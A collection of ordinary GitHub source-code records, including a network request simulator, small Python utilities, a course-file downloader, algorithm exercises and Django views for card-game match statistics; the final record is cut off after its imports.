+{"seq_id":"17702786916","text":"\"\"\"\nThis module defines some helper classes as data structures for the Simulator and RequestQueue.\nIt also defines the RequestQueue, which simulates the network link.\n\"\"\"\n\nimport copy\nfrom collections import defaultdict\nfrom typing import DefaultDict, Dict, List, NamedTuple, Optional, Set, Tuple\n\nfrom blaze.config.environment import Resource\nfrom blaze.preprocess.url import Url\n\nfrom .tcp_state import TCPState\n\n\nclass Node(NamedTuple):\n \"\"\" A Node in the Simulator graph \"\"\"\n\n resource: Resource\n priority: int\n children: List[\"Node\"] = []\n parent: Optional[\"Node\"] = None\n\n def __hash__(self):\n return hash(self.resource.url)\n\n def __eq__(self, other: \"Node\"):\n return self.resource == other.resource\n\n\nclass QueueItem:\n \"\"\" An item in the RequestQueue \"\"\"\n\n def __init__(self, node: Node, size: int, origin: str, delay_ms: float = 0):\n self.node = node\n self.bytes_left = size\n self.origin = origin\n self.delay_ms_left = delay_ms\n self.time_spent_downloading = 0\n\n\nclass RequestQueue:\n \"\"\"\n RequestQueue simulates ongoing network requests and the amount of time it would\n take to complete them.\n \"\"\"\n\n def __init__(self, bandwidth_kbps: int, rtt_latency_ms: int, loss_prop: float):\n self.queue: List[QueueItem] = []\n self.delayed: List[QueueItem] = []\n self.connected_origins: Set[str] = set()\n self.node_to_queue_item_map: Dict[Node, QueueItem] = {}\n # convert kilobits per second (kbps) to bytes per second (Bps)\n self.link_bandwidth_bps = bandwidth_kbps * (1000 / 8)\n self.bandwidth_kbps = bandwidth_kbps\n self.rtt_latency_ms = rtt_latency_ms\n self.loss_prop = loss_prop\n # model TCP dynamics per domain\n self.tcp_state: DefaultDict[TCPState] = defaultdict(lambda: TCPState(loss_prop=self.loss_prop))\n\n def __contains__(self, node: Node):\n \"\"\"\n :return: True if the given node is already scheduled for download\n \"\"\"\n return any(qi.node == node for qi in self.queue) or any(qi.node == node for qi in self.delayed)\n\n def __len__(self):\n return len(self.queue) + len(self.delayed)\n\n def copy(self) -> \"RequestQueue\":\n \"\"\"\n :return: a copy of the request queue\n \"\"\"\n rq = RequestQueue(self.bandwidth_kbps, self.rtt_latency_ms, self.loss_prop)\n rq.queue = [copy.copy(qi) for qi in self.queue]\n rq.delayed = [copy.copy(qi) for qi in self.delayed]\n rq.node_to_queue_item_map = {\n **{node: copy.copy(qi) for (node, qi) in self.node_to_queue_item_map.items()},\n **{qi.node: qi for qi in rq.queue},\n **{qi.node: qi for qi in rq.delayed},\n }\n rq.connected_origins = set(self.connected_origins)\n rq.tcp_state = copy.deepcopy(self.tcp_state)\n return rq\n\n @property\n def bandwidth(self):\n \"\"\"\n Calculates the bandwidth available to each currently-ongoing request. This is\n calculated as the total link bandwidth split evenly amongst all of the currently-\n downloading files, but could be made more sophisticated by taking into account\n per-domain bandwidth limits.\n \"\"\"\n return self.link_bandwidth_bps / (len(self.queue) or 1)\n\n def add(self, node: Node):\n \"\"\" Adds an item to the queue for immediate download \"\"\"\n self.add_with_delay(node, 0)\n\n def remove(self, node: Node):\n \"\"\"\n Removes the given node from the request queue\n :param node: the node to remove\n \"\"\"\n\n self.queue = [qi for qi in self.queue if qi.node != node]\n self.delayed = [qi for qi in self.delayed if qi.node != node]\n\n def add_with_delay(self, node: Node, delay_ms: float, cached: bool = False):\n \"\"\"\n Adds an item to the queue but does not start it until the delay has occurred. Additionally,\n this method checks to see if a connection has been opened for the resource's origin. If not,\n it adds 2-RTT delay for the resource.\n\n :param node: The node to add to the request queue\n :param delay_ms: The milliseconds to delay the request before starting it (not including RTT)\n :param cached: Specifies if the given resource is cached and does not need to be downloaded\n \"\"\"\n\n domain = Url.parse(node.resource.url).domain\n if cached:\n delay_ms = max(0.0, delay_ms)\n queue_item = QueueItem(node, 0, domain, delay_ms)\n else:\n num_rtts = self.tcp_state[domain].round_trips_needed_for_bytes(node.resource.size)\n if domain not in self.connected_origins:\n num_rtts += 1\n\n delay_ms = max(0.0, delay_ms + (num_rtts * self.rtt_latency_ms))\n queue_item = QueueItem(node, node.resource.size, domain, delay_ms)\n\n if delay_ms <= 0:\n self.queue.append(queue_item)\n else:\n self.delayed.append(queue_item)\n self.node_to_queue_item_map[node] = queue_item\n\n def estimated_completion_time(self, node: Node) -> Tuple[float, float]:\n \"\"\"\n Runs through a copy of the request queue and returns the relative time offset\n at which the given node would have completed.\n\n :param node: The node to estimate the completion time of\n :return: 0 if the node is not in the request queue; the relative time offset\n of completion otherwise\n \"\"\"\n\n if node not in self:\n return 0, 0\n rq = self.copy()\n total_time = 0\n completed_nodes, step_ms = [], 0\n while rq and node not in completed_nodes:\n completed_nodes, step_ms = rq.step()\n total_time += step_ms\n return total_time, rq.time_spent_downloading(node)\n\n def time_spent_downloading(self, node: Node) -> float:\n \"\"\"\n Returns the ms spent downloading the given node. It returns 0 if the node is not in the queue,\n has not been scheduled to download, or has not downloaded any bytes yet\n :param node: The node to get the time spent downloading for\n \"\"\"\n if node not in self.node_to_queue_item_map:\n return 0\n return self.node_to_queue_item_map[node].time_spent_downloading\n\n def remaining_delay(self, node: Node) -> float:\n \"\"\"\n Returns the delay ms left for a node before it starts downloading\n \"\"\"\n if node not in self.node_to_queue_item_map:\n return 0\n return self.node_to_queue_item_map[node].delay_ms_left\n\n def step(self) -> Tuple[List[Node], float]:\n \"\"\"\n Performs one step through of the request queue, which simulates downloading until\n one item finishes downloading (or more, if they finish at the same time). The method\n then removes the finished downloads from the request queue and reduces the number\n of bytes left to download for the remaining items correspondingly\n\n :return: a tuple where the first value is a list of simulator Nodes that finished\n downloading in this step; the second value is the time in milliseconds it took to\n download those items in this step\n \"\"\"\n\n # check if the queue is empty\n if not self.queue and not self.delayed:\n return [], 0.0\n\n # find the item with the least number of bytes left to download\n if self.queue:\n bytes_to_download = min(qi.bytes_left for qi in self.queue)\n time_ms_to_download = 1000 * bytes_to_download / self.bandwidth\n\n # OR, if the queue is empty, find the next delayed item to enqueue\n else:\n time_ms_to_download = min(qi.delay_ms_left for qi in self.delayed)\n bytes_to_download = (time_ms_to_download * self.bandwidth) / 1000\n\n # Reduce all delayed items by time_ms_to_download\n for item in self.delayed:\n item.delay_ms_left -= time_ms_to_download\n\n # Reduce all queue elements by bytes_to_download\n for item in self.queue:\n item.bytes_left -= bytes_to_download\n item.time_spent_downloading += time_ms_to_download\n\n # Update the idle time for each TCP state\n domains_downloaded_from = set(item.origin for item in self.queue)\n for domain, tcp_state in self.tcp_state.items():\n if domain in domains_downloaded_from:\n tcp_state.add_bytes_sent(bytes_to_download)\n else:\n tcp_state.add_time_since_last_byte(time_ms_to_download)\n\n # Find all delayed items that are ready to be queued\n delayed_items_to_queue = [qi for qi in self.delayed if qi.delay_ms_left < 0.01]\n # Find all queued items that have been completed and are ready for removal\n completed_nodes = [qi.node for qi in self.queue if qi.bytes_left == 0]\n\n # add origins for newly-queued items\n for item in delayed_items_to_queue:\n self.connected_origins.add(item.origin)\n\n # update the delayed queue, removing items ready to be queued\n self.delayed = [qi for qi in self.delayed if qi.delay_ms_left >= 0.01]\n # update the queue, removing items that are done and adding delayed items ready to be queued\n self.queue = [qi for qi in self.queue if qi.bytes_left > 0] + delayed_items_to_queue\n\n # return nodes that finished downloading and the total time took in this step\n return completed_nodes, time_ms_to_download\n","repo_name":"nkansal96/alohamora","sub_path":"blaze/evaluator/simulator/request_queue.py","file_name":"request_queue.py","file_ext":"py","file_size_in_byte":9496,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"39316237518","text":"import os\nimport argparse\nimport re\n\n##### python3.7 bin/Tabla_Comunidades.py -m COMUNIDADES/output3/AllKEGG.map -k sif-allKEGG/AllKEGG.txt -o prueba-out3\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-m\", \"--map\", help=\"Map community file\",dest='map',required=True, metavar=\"Community.map\")\nparser.add_argument(\"-o\", \"--out\", help=\"Output file\",dest='out',required=True, metavar=\"Output.txt\")\n\n\nargs = parser.parse_args()\n\nmap_file = args.map\nout_dir = args.out\n\n\n######### GENERAR UN DICCIONARIO CON LOS NOMBRES DE LAS COMUNIDADES\n######### GENERAR UN DICCIONARIO CON TODAS LAS MOLECULAS QUE PERTENECEN A CADA COMUNIDAD\nstart = 0\nstart_comunidades = 0\n\ncomunidades_names = {}\ncomunidades_nodos = {}\n\nwith open(map_file) as handle:\n lines = handle.readlines()\n for line in lines:\n line = line.rstrip()\n if \"*Modules \" in line:\n start_comunidades = 1\n continue\n if \"*Nodes\" in line: \n start = 1\n start_comunidades = 0\n continue\n if \"*Links\" in line:\n break\n\n ######## CUANDO SE ESTAN RECORRIENDO LAS COMUNIDADES\n if start == 0 and start_comunidades == 1:\n info = line.split(\" \")\n comunidad_id = info[0]\n gene_name = info[1].split(\",\")[0].replace('\"', '')\n comunidades_names[comunidad_id] = gene_name\n comunidades_nodos[comunidad_id] = []\n\n ######## CUANDO SE ESTAN RECORRIENDO LOS NODOS\n if start == 1 and start_comunidades == 0:\n info = line.split(\" \")\n comunidad_id = info[0].split(\":\")[0]\n node_id = info[1].replace('\"', '')\n\n comunidades_nodos[comunidad_id].append(node_id)\n\n \n\n######## IMPIRMIR ARCHIVO POR COMUNIDAD\n\nfor comunidad_id in comunidades_names:\n out_file = out_dir + comunidades_names[comunidad_id] + \".txt\"\n out = open(out_file, \"w\")\n\n for gene in comunidades_nodos[comunidad_id]:\n out.write(gene + \"\\n\")\n","repo_name":"CSB-IG/KEGG-IntegratedNetwork","sub_path":"bin/Extraer_Nodos_Comunidad.py","file_name":"Extraer_Nodos_Comunidad.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32537986274","text":"from celery import shared_task\nfrom django.template.loader import render_to_string\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.conf import settings\n\nfrom apps.Accounts.models import User\n\n\n@shared_task\ndef execution_change_alert(headline, execute):\n '''Уведомление на почту о смене статуса выполнения задачи.'''\n\n if execute:\n status = 'Выполнен'\n else:\n status = 'Не выполнен'\n html_content = render_to_string('execution_alert.html', {\n 'headline': headline, 'status': status})\n\n emails = [user.email for user in User.objects.all()]\n msg = EmailMultiAlternatives(\n subject=f'Выполнение задачи',\n from_email=settings.DEFAULT_FROM_EMAIL,\n to=emails\n )\n msg.attach_alternative(html_content, \"text/html\")\n msg.send() # отправить\n","repo_name":"Doszhan-M/BuhUchetTest","sub_path":"BuhUchetTest/apps/ToDo/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21564766203","text":"import pygame, math\nfrom setting import *\n\n\n\nclass Person(pygame.sprite.Sprite):\n pos_min_x = 0\n pos_min_y = 0\n\n def __init__(self):\n super().__init__() #calls the constructor of the superclass sprite\n self.orientation = pygame.math.Vector2(1.0, 0.0)\n self.vel = pygame.math.Vector2(0.0, 0.0) # initialize the velocity vector to 0,0\n self.rot = 0\n self.rot_speed = 0\n self.angle = 0\n\n\n def display(self, screen):\n \"\"\"\n Method that displays the person\n :param screen --> Display object where the person object will be display on\n \"\"\"\n screen.blit(self.image, (self.rect.x, self.rect.y))\n\n def set_pos(self, t):\n \"\"\"\n Method that updates the position of the person, based on the time passed and the velocity of the person\n :param t --> time passed in seconds from the last call\n \"\"\"\n # Here, the new position vector is calculated. The attibute rect is turned into a 2d vector class to make easier the operations\n newpos = pygame.math.Vector2(self.rect.x, self.rect.y) + self.vel * self.speed * t\n\n # once the new position is calculated,, we make sure that it is inside the boundaries of the screen\n newpos.x = clamp(newpos.x, Person.pos_min_x, self.pos_max_x)\n newpos.y = clamp(newpos.y, Person.pos_min_y, self.pos_max_y)\n self.pos = newpos\n self.rect.x = newpos.x\n self.rect.y = newpos.y\n\n def rotate(self, x, y):\n \"\"\"\n Method that calculates the angle of rotation of the person, from its position to a given coordinates x, y\n :param x:\n :param y:\n \"\"\"\n rel_x, rel_y = x - self.rect.x, y - self.rect.y\n self.angle = (180 / math.pi) * -math.atan2(rel_y, rel_x)\n\n # we change the orientation of the vector\n if self.orientation.rotate(self.angle) != (0.0, 0.0):\n self.orientation = self.orientation.rotate(-self.angle)\n\n def set_vel(self, vec):\n \"\"\"\n Method that update the velocity of the person\n :param vec: new vector velocity\n \"\"\"\n if vec != (0.,0.):\n #if the new velocity vector is different from (0,0) we need to turn it into a unit vector to get only the direction of the movement\n self.vel = vec.normalize()\n else:\n self.vel = vec\n\n def collision_wall_y(self, wallx, wally):\n \"\"\"\n Method that evaluate if there is any collision in the y axis between the object and a wall\n :param wallx: rect.centerx of the wall object\n :param wally: rect.centery of the wall object\n :return: the type of collision: \"top\", \"bottom\" or \"none\"\n \"\"\"\n dist_center_xmin = self.img_width / 2 + TILE_SIZE / 2\n dist_center_ymin = self.img_height / 2 + TILE_SIZE / 2\n margin = 5\n\n if self.rect.centery > wally - dist_center_ymin and self.rect.centery < wally and self.rect.centerx > wallx - dist_center_xmin + margin and self.rect.centerx < wallx + dist_center_xmin - margin:\n return \"top\"\n elif self.rect.centery < wally + dist_center_ymin and self.rect.centery > wally and self.rect.centerx > wallx - dist_center_xmin + margin and self.rect.centerx < wallx + dist_center_xmin - margin:\n return \"bottom\"\n else:\n return \"none\"\n\n def collision_wall_x(self, wallx, wally):\n \"\"\"\n Method that evaluate if there is any collision in the y axis between the object and a wall\n :param wallx: rect.centerx of the wall object\n :param wally: rect.centery of the wall object\n :return: the type of collision: \"right\", \"left\" or \"none\"\n \"\"\"\n dist_center_xmin = self.img_width / 2 + TILE_SIZE / 2\n dist_center_ymin = self.img_height / 2 + TILE_SIZE / 2\n margin = 5\n if self.rect.centerx > wallx - dist_center_xmin and self.rect.centerx < wallx and self.rect.centery <= wally + dist_center_ymin - margin and self.rect.centery >= wally - dist_center_ymin + margin:\n return \"left\"\n elif self.rect.centerx < wallx + dist_center_xmin and self.rect.centerx > wallx and self.rect.centery <= wally + dist_center_ymin - margin and self.rect.centery >= wally - dist_center_ymin + margin:\n return \"right\"\n else:\n return \"none\"\n\n def get_time_hit(self):\n \"\"\"\n Method that returns the moment of the last hit of the hero\n :return: time of the last hit\n \"\"\"\n return pygame.time.get_ticks()\n\ndef clamp(n, minn, maxn):\n \"\"\"\n Function that limit the value of a given variable between a max and a min\n Source:https://stackoverflow.com/questions/5996881/how-to-limit-a-number-to-be-within-a-specified-range-python\n \"\"\"\n return max(min(maxn, n), minn)","repo_name":"kmm764/ThePythonMenace","sub_path":"src/Person.py","file_name":"Person.py","file_ext":"py","file_size_in_byte":4885,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"26857701576","text":"import sys\nimport os\nfrom configparser import ConfigParser\nfrom Teaching import Teaching\nimport random\nfrom os import listdir\nfrom os.path import isfile, join\n\ndef setting():\n\tprint('Debug: 進入設定模式')\n\tkey = []\n\tfor i in range(1,100):\n\t\tkey.append(random.randint(65,90))\n\t\n\tprint(str(bytearray(key)))\n\t# login_acc = input('acc')\n\t# os.system(\"cls\")\n\t# login_pwd = input('pwd')\n\t# os.system(\"cls\")\n\tsys.exit()\n\treturn 0\n\ndef main():\n\tos.system(\"cls\")\n\tcfg = ConfigParser()\n\tcfg.read('config.ini')\n\ttry:\n\t\tlogin_acc = cfg['save']['username']\n\t\tlogin_pwd = cfg['save']['password']\n\texcept (KeyError):\n\t\tsetting()\n\t\n\thandler = Teaching(login_acc, login_pwd)\n\t\n\tcourses = handler.getCourses()\n\t# handler.getHomeWorks()\n\t\n\t# print(courses)\n\t# handler.downloadFiles(False)\n\n\tfor crsno, crsname in courses.items():\n\t\tfiles = handler.getFiles(crsno)\n\t\t# print(files)\n\t\thandler.downloadFiles(files)\n\t\n\t\n\t\n\t# handler.test()\n\tsys.exit()\n\treturn 0\n\nif __name__ == '__main__':\n\tmain()","repo_name":"wyvern2982/NKFUST_TLW_Tool","sub_path":"nkfust.py","file_name":"nkfust.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38085904238","text":"# Поиск подстроки в строке\n\nimport hashlib\n\n\ndef Rabin_Karp(s: str, subs: str) -> int:\n assert len(s) > 0 and len(subs) > 0, 'Строки не могут быт пустыми'\n assert len(s) >= len(subs), 'Подстрока длинее строки'\n\n len_sub = len(subs)\n h_subs = hashlib.sha1(subs.encode('utf-8')).hexdigest()\n\n for i in range(len(s) - len_sub + 1):\n if h_subs == hashlib.sha1(s[i:i + len_sub].encode('utf-8')).hexdigest():\n if s[i:i + len_sub] == subs:\n return i\n return -1\n\n\ns_1 = input('Введите строку 1: ')\ns_2 = input('Введите строку 2: ')\npos = Rabin_Karp(s_1, s_2)\n\nprint(f'Подстрока найдена в позиции {pos}' if pos != -1 else 'Подстрока не найдена')\n","repo_name":"SciWake/OLD-GeekBrains_basics","sub_path":"Algorithms-in-python/9. Trees/4. Substring_search.py","file_name":"4. Substring_search.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"72685214304","text":"from typing import List\nimport heapq\n\nclass Solution:\n def kSmallestPairs(self, nums1: List[int], nums2: List[int], k: int) -> List[List[int]]:\n result = []\n heap = []\n\n if len(nums1) == 0 or len(nums2) == 0 or k == 0:\n return result\n\n i = 0\n # just collect some candidate from all number in nums1 (at most k)\n while i < len(nums1) and i < k:\n # sum of all nums1 with nums2 smallest number\n # (sum, nums1 number, nums2 number, nums2 index)\n heapq.heappush(heap, (nums1[i] + nums2[0], nums1[i], nums2[0], 0))\n i += 1\n\n while k > 0 and heap:\n _, num1, num2, idx2 = heapq.heappop(heap)\n result.append([num1, num2])\n k -= 1\n\n if idx2 == len(nums2) - 1:\n continue\n\n heapq.heappush(heap, (num1 + nums2[idx2 + 1], num1, nums2[idx2+1], idx2+1))\n\n return result\n\n# Runtime: 40 ms, faster than 98.88% of Python3 online submissions for Find K Pairs with Smallest Sums.\n# Memory Usage: 14 MB, less than 33.33% of Python3 online submissions for Find K Pairs with Smallest Sums.\n\n\n# if use \n# if idx2 < len(nums2) - 1:\n# heapq.heappush(heap, (num1 + nums2[idx2 + 1], num1, nums2[idx2+1], idx2+1))\n#\n# Runtime: 84 ms, faster than 46.39% of Python3 online submissions for Find K Pairs with Smallest Sums.\n# Memory Usage: 14 MB, less than 33.33% of Python3 online submissions for Find K Pairs with Smallest Sums.","repo_name":"daviddwlee84/LeetCode","sub_path":"Python3/Array/FindKPairsWithSmallestSums/PriorityQueue373.py","file_name":"PriorityQueue373.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"44252626925","text":"import sys\r\n#sys.stdin = open('input.txt','rt')\r\n\r\ndef DFS(level,sum,totalsum):\r\n global result\r\n if sum + (total - totalsum) < result: # Cut-Edge Tech\r\n return\r\n if sum > C: # limit of weight\r\n return\r\n if level == N:\r\n if sum > result:\r\n result = sum\r\n else:\r\n DFS(level+1,sum + W[level],totalsum + W[level])\r\n DFS(level+1,sum,totalsum + W[level])\r\n\r\n\r\nif __name__ == '__main__':\r\n C,N = map(int,input().split())\r\n W = [int(input()) for _ in range(N)]\r\n\r\n result = -2147000000\r\n total = sum(W)\r\n DFS(0,0,0)\r\n print(result)","repo_name":"sangmanjung/Algorithm_study","sub_path":"basic/S6_exhaustive_search/sec6-5.py","file_name":"sec6-5.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"36762859928","text":"from collections import defaultdict\n\nfrom django.db.models import Case, Count, IntegerField, When\nfrom django.shortcuts import redirect, render\nfrom django.db.models import FloatField\nfrom django.db.models.functions import Cast\nfrom django.db.models import Q, F\nfrom .models import Deck, Match, Person, Player\nfrom openskill.models import PlackettLuce\n\nCOLOR_ORDER = {\n 'w': 0, 'u': 1, 'b': 2, 'r': 3, 'g': 4, 'colorless': 5,\n 'wu': 6, 'ub': 7, 'br': 8, 'rg': 9, 'gw': 10,\n 'wb': 11, 'ur': 12, 'bg': 13, 'rw': 14, 'gu': 15,\n 'wub': 16, 'ubr': 17, 'brg': 18, 'rgw': 19, 'gwu': 20,\n 'wbg': 21, 'urw': 22, 'bgu': 23, 'rwb': 24, 'gur': 25,\n 'wubr': 26, 'ubrg': 27, 'brgw': 28, 'rgwu': 29, 'gwub': 30,\n 'wubrg': 31\n}\n\n\ndef index(request):\n return redirect(\"matches\")\n\n\ndef matches(request):\n all_matches = Match.objects.order_by('-date').prefetch_related('players', 'players__deck', 'players__person')\n\n context = {'matches': all_matches}\n\n return render(request, 'matches/matches.html', context)\n\n\ndef person_stats(request, person_id):\n # Count the number of matches played by the person\n matches = Match.objects.prefetch_related('players', 'players__deck', 'players__person').annotate(player_count=Count('players')).filter(players__person_id=person_id)\n matches_4p = matches.filter(player_count=4)\n matches_3p = matches.filter(player_count=3)\n num_matches = matches.count()\n num_matches_4p = matches_4p.count()\n num_matches_3p = matches_3p.count()\n\n # Count the number of wins by the person\n all_wins = Player.objects.prefetch_related('person', 'deck', 'match').filter(position=1, person_id=person_id)\n num_wins = all_wins.count()\n num_wins_4p = all_wins.filter(match__in=matches_4p).count()\n num_wins_3p = all_wins.filter(match__in=matches_3p).count()\n\n # Compute the win percentage of the person\n win_percentage = f'{int(num_wins / num_matches * 100)}%' if num_matches > 0 else 'N/A'\n win_percentage_4p = f'{int(num_wins_4p / num_matches_4p * 100)}%' if num_matches_4p > 0 else 'N/A'\n win_percentage_3p = f'{int(num_wins_3p / num_matches_3p * 100)}%' if num_matches_3p > 0 else 'N/A'\n\n person = Person.objects.get(id=person_id)\n\n color_counts = defaultdict(lambda: defaultdict(int))\n\n # Count the number of times each color was played by the person\n color_identity_counts = person.player_set.values('deck__color').annotate(count=Count('deck__color'))\n # Append pretty color choice name\n for color_identity_count in color_identity_counts:\n color_identity_count['color_name'] = dict(Deck.Color.choices)[color_identity_count['deck__color']]\n\n for color in color_identity_count['deck__color']:\n color_counts[color]['count'] += color_identity_count['count']\n color_counts[color]['color_name'] = dict(Deck.Color.choices)[color] # yeah, I know\n color_counts[color]['color'] = color # yeah, I know\n\n # We do this to count the plays and wins for the specific player and the deck\n deck_counts = Deck.objects.filter(player__person=person).annotate(\n count=Count('player__deck'),\n wins=Count(Case(When(player__position=1, then=1), output_field=IntegerField()))\n ).order_by('-count')\n\n for d in deck_counts:\n d.win_percentage = f'{int(d.wins / d.count * 100)}%'\n\n # This win percentage on decks is shown no matter who played it\n owned_decks = Deck.objects.filter(owner=person).prefetch_related('player_set', 'player_set__person', 'owner').annotate(\n win_count=Count('player', filter=Q(player__position=1)),\n played_count=Count('player'),\n win_percentage=Cast(Cast(F('win_count'), FloatField()) / F('played_count') * 100.0, IntegerField())\n )\n\n if request.GET.get('ordering') == 'win':\n owned_decks = sorted(owned_decks, key=lambda x: x.win_count / x.played_count, reverse=True)\n elif request.GET.get('ordering') == 'total':\n owned_decks = sorted(owned_decks, key=lambda x: x.played_count, reverse=True)\n else:\n owned_decks = sorted(owned_decks, key=lambda x: COLOR_ORDER[x.color])\n\n context = {\n 'person': person,\n 'num_matches': num_matches,\n 'num_wins': num_wins,\n 'win_percentage': win_percentage,\n 'num_matches_3p': num_matches_3p,\n 'num_wins_3p': num_wins_3p,\n 'win_percentage_3p': win_percentage_3p,\n 'num_matches_4p': num_matches_4p,\n 'num_wins_4p': num_wins_4p,\n 'win_percentage_4p': win_percentage_4p,\n 'deck_colors': color_identity_counts,\n 'deck_counts': deck_counts,\n 'color_counts': sorted(color_counts.values(), key=lambda x: x['count'], reverse=True),\n 'decks': owned_decks\n }\n\n return render(request, 'matches/person.html', context)\n\n\ndef players(request):\n all_players = Player.objects.prefetch_related('match', 'deck', 'person', 'person__deck_set').annotate(match_player_count=Count('match__players'))\n\n player_data = defaultdict(lambda: {\n 'person': None,\n 'games_played': 0,\n 'games_won': 0,\n '4p_games_played': 0,\n '4p_games_won': 0,\n '3p_games_played': 0,\n '3p_games_won': 0,\n 'colors': {\n 'w': 0,\n 'u': 0,\n 'r': 0,\n 'b': 0,\n 'g': 0,\n 'colorless': 0\n },\n 'deck_plays': defaultdict(int)\n })\n\n # Yeah, I know this gets slow at some point\n for player in all_players:\n player_data[player.person]['person'] = player.person\n player_data[player.person]['games_played'] += 1\n player_data[player.person]['games_won'] += 1 if player.position == 1 else 0\n if player.match_player_count == 4:\n player_data[player.person]['4p_games_played'] += 1\n player_data[player.person]['4p_games_won'] += 1 if player.position == 1 else 0\n if player.match_player_count == 3:\n player_data[player.person]['3p_games_played'] += 1\n player_data[player.person]['3p_games_won'] += 1 if player.position == 1 else 0\n player_data[player.person]['deck_plays'][player.deck] += 1\n\n if player.deck.color == 'colorless':\n player_data[player.person]['colors'][player.deck.color] += 1\n else:\n for color in player.deck.color:\n player_data[player.person]['colors'][color] += 1\n\n # Calc win percentage most played color stuff lolo\n for entry in player_data.values():\n entry['win_percentage'] = int(entry['games_won'] / entry['games_played'] * 100)\n entry['4p_win_percentage'] = int(entry['4p_games_won'] / entry['4p_games_played'] * 100) if entry['4p_games_played'] else 'N/A'\n entry['3p_win_percentage'] = int(entry['3p_games_won'] / entry['3p_games_played'] * 100) if entry['3p_games_played'] else 'N/A'\n entry['favorite_color'] = max(entry['colors'], key=entry['colors'].get)\n entry['owned_decks'] = entry['person'].deck_set.count\n entry['favorite_deck'] = max(entry['deck_plays'], key=entry['deck_plays'].get)\n entry['favorite_deck_plays'] = entry['deck_plays'][entry['favorite_deck']]\n\n context = {'players': sorted(player_data.values(), key=lambda x: x['win_percentage'], reverse=True)}\n\n return render(request, 'matches/players.html', context)\n\n\ndef decks(request):\n all_decks = Deck.objects.all().prefetch_related('player_set', 'player_set__person', 'owner').annotate(\n win_count=Count('player', filter=Q(player__position=1)),\n played_count=Count('player'),\n win_percentage=Cast(Cast(F('win_count'), FloatField()) / F('played_count') * 100.0, IntegerField())\n )\n\n if request.GET.get('ordering') == 'win':\n context = {'decks': sorted(all_decks, key=lambda x: x.win_count / x.played_count, reverse=True)}\n elif request.GET.get('ordering') == 'total':\n context = {'decks': sorted(all_decks, key=lambda x: x.played_count, reverse=True)}\n else:\n context = {'decks': sorted(all_decks, key=lambda x: COLOR_ORDER[x.color])}\n return render(request, 'matches/decks.html', context)\n\n\ndef stats(request):\n all_players = Player.objects.prefetch_related('match', 'deck', 'person')\n\n person_positions = defaultdict(list)\n deck_positions = defaultdict(list)\n color_positions = defaultdict(list)\n person_deck_color = defaultdict(lambda: defaultdict(int))\n color_wins = defaultdict(int)\n\n for player in all_players:\n person_positions[player.person].append(player.position)\n deck_positions[player.deck].append(player.position)\n color_positions[player.deck.get_color_display()].append(player.position)\n\n if player.position == 1:\n for c in player.deck.extract_colors():\n color_wins[c] += 1\n\n if player.deck.color == 'colorless':\n person_deck_color[player.person.name][player.deck.color] += 1\n else:\n for color in player.deck.color:\n person_deck_color[player.person.name][color] += 1\n\n #AAH DET ER FLAWED FORDI DEN TÆLLER PLAYS OG IKKE DECKS\n person_deck_colors = []\n for person, colors in person_deck_color.items():\n colors['name'] = person\n person_deck_colors.append(dict(colors))\n\n person_win_percentage = []\n for person, positions in person_positions.items():\n person_win_percentage.append({\n \"person\": person.__str__(),\n \"percentage\": positions.count(1) / len(positions) * 100\n })\n\n deck_win_percentage = []\n for deck, positions in deck_positions.items():\n deck_win_percentage.append({\n \"deck\": deck.__str__(),\n \"percentage\": positions.count(1) / len(positions) * 100\n })\n\n color_win_percentage = []\n for color, positions in color_positions.items():\n color_win_percentage.append({\n \"color\": color,\n \"percentage\": positions.count(1) / len(positions) * 100\n })\n\n deck_colors = {\n 'w' : 0,\n 'u': 0,\n 'r': 0,\n 'b': 0,\n 'g': 0,\n 'colorless': 0\n }\n\n for d in Deck.objects.all():\n if d.color == 'colorless':\n deck_colors[d.color] += 1\n else:\n for color in d.color:\n deck_colors[color] += 1\n\n context = {\n 'person_win_percentage': sorted(person_win_percentage, key=lambda x: x[\"percentage\"], reverse=True),\n 'deck_win_percentage': sorted(deck_win_percentage, key=lambda x: x[\"percentage\"], reverse=True),\n 'color_win_percentage': sorted(color_win_percentage, key=lambda x: x[\"percentage\"], reverse=True),\n 'deck_colors': deck_colors,\n 'color_wins': dict(color_wins),\n 'person_deck_colors': person_deck_colors\n }\n\n return render(request, 'matches/stats.html', context)\n\n\ndef ranks(request):\n matches = Match.objects.order_by('id').prefetch_related('players', 'players__person', 'players__deck')\n persons = Person.objects.all()\n model = PlackettLuce()\n\n player_ranks = {p.name: model.rating(name=p.name) for p in persons}\n\n for m in matches:\n match = []\n match_ranks = []\n\n for p in m.players.all():\n match.append([player_ranks[p.person.name]])\n if p.position == 1:\n match_ranks.append(1)\n else:\n match_ranks.append(2)\n\n new_ranks = model.rate(match, ranks=match_ranks)\n\n for rank in [rank for teams in new_ranks for rank in teams]:\n # Replace with updated rank\n player_ranks[rank.name] = rank\n\n context = {\n 'ranks': sorted(player_ranks.items(), key=lambda x: x[1].ordinal(), reverse=True)\n }\n\n return render(request, 'matches/ranks.html', context)\n\n\n","repo_name":"frixdk/papkort","sub_path":"papkort/games/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14269408104","text":"# Python Libraries\nimport os\nimport csv\nimport re\nimport statistics\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nfrom sklearn.metrics import mean_squared_error\nfrom 